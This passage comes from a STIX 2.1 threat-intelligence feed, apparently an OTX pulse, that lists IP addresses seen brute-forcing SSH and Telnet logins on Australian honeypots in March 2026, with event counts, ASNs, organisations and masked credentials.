      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 8151. Organisation(s): UNINET. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 2********M, 3***********4, 3**********4, @*******4, a****n.",
      "id": "indicator--8b4a61fa-d4e2-48ad-98b7-751ac386ca22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '187.212.27.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T12:15:13.000Z",
      "valid_until": "2026-04-02T12:15:11.000Z"
    },
    {
      "created": "2026-03-01T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 2**5, 3***********4, 3**********4, A********5, Q********..",
      "id": "indicator--169b3082-21a4-457b-af55-14123e98eb45",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.199.72.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T12:15:13.000Z",
      "valid_until": "2026-04-02T12:15:11.000Z"
    },
    {
      "created": "2026-03-01T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie, Fatt. Target ports: 22, 587. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): u**r. Passwords observed (masked): 2******1, 2******6.",
      "id": "indicator--ad0543e9-cb1e-4d80-bf50-6bc64209f075",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '2.57.121.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T12:15:13.000Z",
      "valid_until": "2026-04-02T12:15:11.000Z"
    },
    {
      "created": "2026-03-01T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 2**5, A********5, Q********..",
      "id": "indicator--98966ea4-7972-4d0b-b2ac-96b178ccba6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.93.128.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T12:15:13.000Z",
      "valid_until": "2026-04-02T12:15:11.000Z"
    },
    {
      "created": "2026-03-01T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t, 3**********4, r***2. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1******k, 1*****a.",
      "id": "indicator--b58c4100-3bc4-4420-9921-321b2c155765",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '35.188.112.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T12:15:13.000Z",
      "valid_until": "2026-04-02T12:15:11.000Z"
    },
    {
      "created": "2026-03-01T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: LK. ASN(s): 132124. Organisation(s): Information and Communication Technology Agency of Sri Lanka.",
      "id": "indicator--246b70f7-1e90-408c-a78e-f669572363ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.224.126.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T12:15:13.000Z",
      "valid_until": "2026-04-02T12:15:11.000Z"
    },
    {
      "created": "2026-03-01T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 188. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 401696. Organisation(s): cognetcloud INC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1****5, @*******4, A*******7.",
      "id": "indicator--73b1e83e-4d21-42b8-99d3-ca1276ec2923",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.207.214.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T12:15:13.000Z",
      "valid_until": "2026-04-02T12:15:11.000Z"
    },
    {
      "created": "2026-03-01T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !**********6, 1******y, 3***********4, 3**********4, A******7.",
      "id": "indicator--e898a54f-c8dc-4201-83f2-05d8425ff8c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.178.43.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T12:15:13.000Z",
      "valid_until": "2026-04-02T12:15:11.000Z"
    },
    {
      "created": "2026-03-01T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**********e, 1****d, 3***********4, 3**********4, C*******..",
      "id": "indicator--ae939412-ca74-40e0-bb4d-b647b9c819a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '61.72.55.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T12:15:13.000Z",
      "valid_until": "2026-04-02T12:15:11.000Z"
    },
    {
      "created": "2026-03-01T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--57482c86-1513-4162-b1e2-eb74b521a95f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T12:15:13.000Z",
      "valid_until": "2026-04-02T12:15:11.000Z"
    },
    {
      "created": "2026-03-01T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 2**5, A********5, Q********..",
      "id": "indicator--a1991513-1ae2-4056-83e9-5def59309be2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '74.94.234.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T12:15:13.000Z",
      "valid_until": "2026-04-02T12:15:11.000Z"
    },
    {
      "created": "2026-03-01T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IL. ASN(s): 8551. Organisation(s): Bezeq International Ltd..",
      "id": "indicator--07a80db0-b2e1-4332-af76-77f0ab922d82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '81.218.133.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T12:15:13.000Z",
      "valid_until": "2026-04-02T12:15:11.000Z"
    },
    {
      "created": "2026-03-01T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 31655. Organisation(s): Gamma Telecom Holdings Ltd. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !**********6, 3***********4, 3**********4, A******7, A*********9.",
      "id": "indicator--67a5de7e-bdaf-466d-96d8-c67e7064d491",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '92.207.4.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T12:15:13.000Z",
      "valid_until": "2026-04-02T12:15:11.000Z"
    },
    {
      "created": "2026-03-01T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 8402. Organisation(s): PVimpelCom.",
      "id": "indicator--3d898107-aa55-4434-8ec0-9d73e8d8c0b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '95.24.214.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T12:15:13.000Z",
      "valid_until": "2026-04-02T12:15:11.000Z"
    },
    {
      "created": "2026-03-01T13:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4808. Organisation(s): China Unicom Beijing Province Network.",
      "id": "indicator--e8905136-8ba4-464b-8a52-b7109b732d00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.50.245.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T13:15:14.000Z",
      "valid_until": "2026-04-02T13:15:11.000Z"
    },
    {
      "created": "2026-03-01T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 298. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, b****p, d****n, d****n. Passwords observed (masked): 1***5, 1****6, 1*****7, 1******8, 1*******9.",
      "id": "indicator--6f130599-d99d-4505-91cd-87bd73d1e669",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.199.160.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T13:15:14.000Z",
      "valid_until": "2026-04-02T13:15:11.000Z"
    },
    {
      "created": "2026-03-01T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 63. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, **. Passwords observed (masked): !***t, 1******x, A********!, P**********6, Q*********!.",
      "id": "indicator--e4381441-aae7-4798-b39e-0370d5e92d01",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '138.68.171.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T13:15:14.000Z",
      "valid_until": "2026-04-02T13:15:11.000Z"
    },
    {
      "created": "2026-03-01T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--7f1d2939-7c59-46ed-8a2f-710ed0b5934a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.59.181.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T13:15:14.000Z",
      "valid_until": "2026-04-02T13:15:11.000Z"
    },
    {
      "created": "2026-03-01T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 64. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): *, **, ***, 1**4, 1***5.",
      "id": "indicator--27cfdbbc-5bcb-4d3e-a3f9-1f18bf7dc05c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.65.205.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T13:15:14.000Z",
      "valid_until": "2026-04-02T13:15:11.000Z"
    },
    {
      "created": "2026-03-01T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): ***, s****a, s**v, u****u, n**e. Passwords observed (masked): s****a, t**t, 1**4, 1****6, 1******8.",
      "id": "indicator--0cd744a8-bcd4-4a58-a245-22a96e44558d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '193.32.162.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T13:15:14.000Z",
      "valid_until": "2026-04-02T13:15:11.000Z"
    },
    {
      "created": "2026-03-01T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 65. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****3, 1***5, 1****6, 1******8, 1*******9.",
      "id": "indicator--02e415ab-d32f-4284-a6b3-74ed50a10a4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.245.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T13:15:14.000Z",
      "valid_until": "2026-04-02T13:15:11.000Z"
    },
    {
      "created": "2026-03-01T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 132934. Organisation(s): Skymax Broadband Services Pvt. Ltd..",
      "id": "indicator--c9006d8d-bd5e-4ac6-87e7-14be2f2e31a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.120.126.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T13:15:14.000Z",
      "valid_until": "2026-04-02T13:15:11.000Z"
    },
    {
      "created": "2026-03-01T13:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 209605. Organisation(s): UAB Host Baltic.",
      "id": "indicator--f902f31a-7523-4dcd-828d-9719811c8abe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T13:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.224.92.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T13:15:14.000Z",
      "valid_until": "2026-04-02T13:15:11.000Z"
    },
    {
      "created": "2026-03-01T14:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--bb3b7c4f-7475-41dc-8eb2-8d19a45e5666",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '114.32.127.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T14:15:13.000Z",
      "valid_until": "2026-04-02T14:15:11.000Z"
    },
    {
      "created": "2026-03-01T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 56040. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--37082a9e-b187-48b1-aa35-66e6cfdc9330",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.241.79.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T14:15:13.000Z",
      "valid_until": "2026-04-02T14:15:11.000Z"
    },
    {
      "created": "2026-03-01T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): d****n, u****u.",
      "id": "indicator--4a557465-7b43-4f56-ad75-afe0c956688b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.48.36.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T14:15:13.000Z",
      "valid_until": "2026-04-02T14:15:11.000Z"
    },
    {
      "created": "2026-03-01T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 33. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): n*****y, r**t. Passwords observed (masked): n*****y, r******t.",
      "id": "indicator--e9923428-390a-4de9-bae9-d5cf5735b878",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '138.68.64.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T14:15:13.000Z",
      "valid_until": "2026-04-02T14:15:11.000Z"
    },
    {
      "created": "2026-03-01T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1154. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, p******s, u**r, a***n, a*****e. Passwords observed (masked): 1****6, *, ***, a***n, u****u.",
      "id": "indicator--2b11effe-e251-4f68-a594-220f653d4961",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '142.93.160.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T14:15:13.000Z",
      "valid_until": "2026-04-02T14:15:11.000Z"
    },
    {
      "created": "2026-03-01T14:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--e7811b2c-797e-42ce-8e89-dd66749b7c61",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.17.228.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T14:15:13.000Z",
      "valid_until": "2026-04-02T14:15:11.000Z"
    },
    {
      "created": "2026-03-01T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: SI. ASN(s): 36680. Organisation(s): Netiface LLC.",
      "id": "indicator--cbc2dc3f-af07-4937-b481-1db3e969a2a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '176.65.134.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T14:15:13.000Z",
      "valid_until": "2026-04-02T14:15:11.000Z"
    },
    {
      "created": "2026-03-01T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 42237. Organisation(s): w1n ltd. Usernames observed (masked): *, a*******y, ***, f**1. Passwords observed (masked): *, a*******y, ***, f**1.",
      "id": "indicator--eb933212-31b0-4d5f-a99e-c9d25b2bf826",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.246.130.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T14:15:13.000Z",
      "valid_until": "2026-04-02T14:15:11.000Z"
    },
    {
      "created": "2026-03-01T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): 1****e, 1*******y, **, ***.",
      "id": "indicator--8134cb66-bde3-4287-9b26-e86e1fb74fa0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.189.25.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T14:15:13.000Z",
      "valid_until": "2026-04-02T14:15:11.000Z"
    },
    {
      "created": "2026-03-01T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--14ce3f21-9d67-479b-98d6-d3392fc5cd7c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '35.93.231.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T14:15:13.000Z",
      "valid_until": "2026-04-02T14:15:11.000Z"
    },
    {
      "created": "2026-03-01T14:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--37d74513-28f2-4207-8d25-019a7cba6338",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.91.40.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T14:15:13.000Z",
      "valid_until": "2026-04-02T14:15:11.000Z"
    },
    {
      "created": "2026-03-01T14:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--d9e91bcc-04ca-4fcd-b5d8-0d0dcd9ea897",
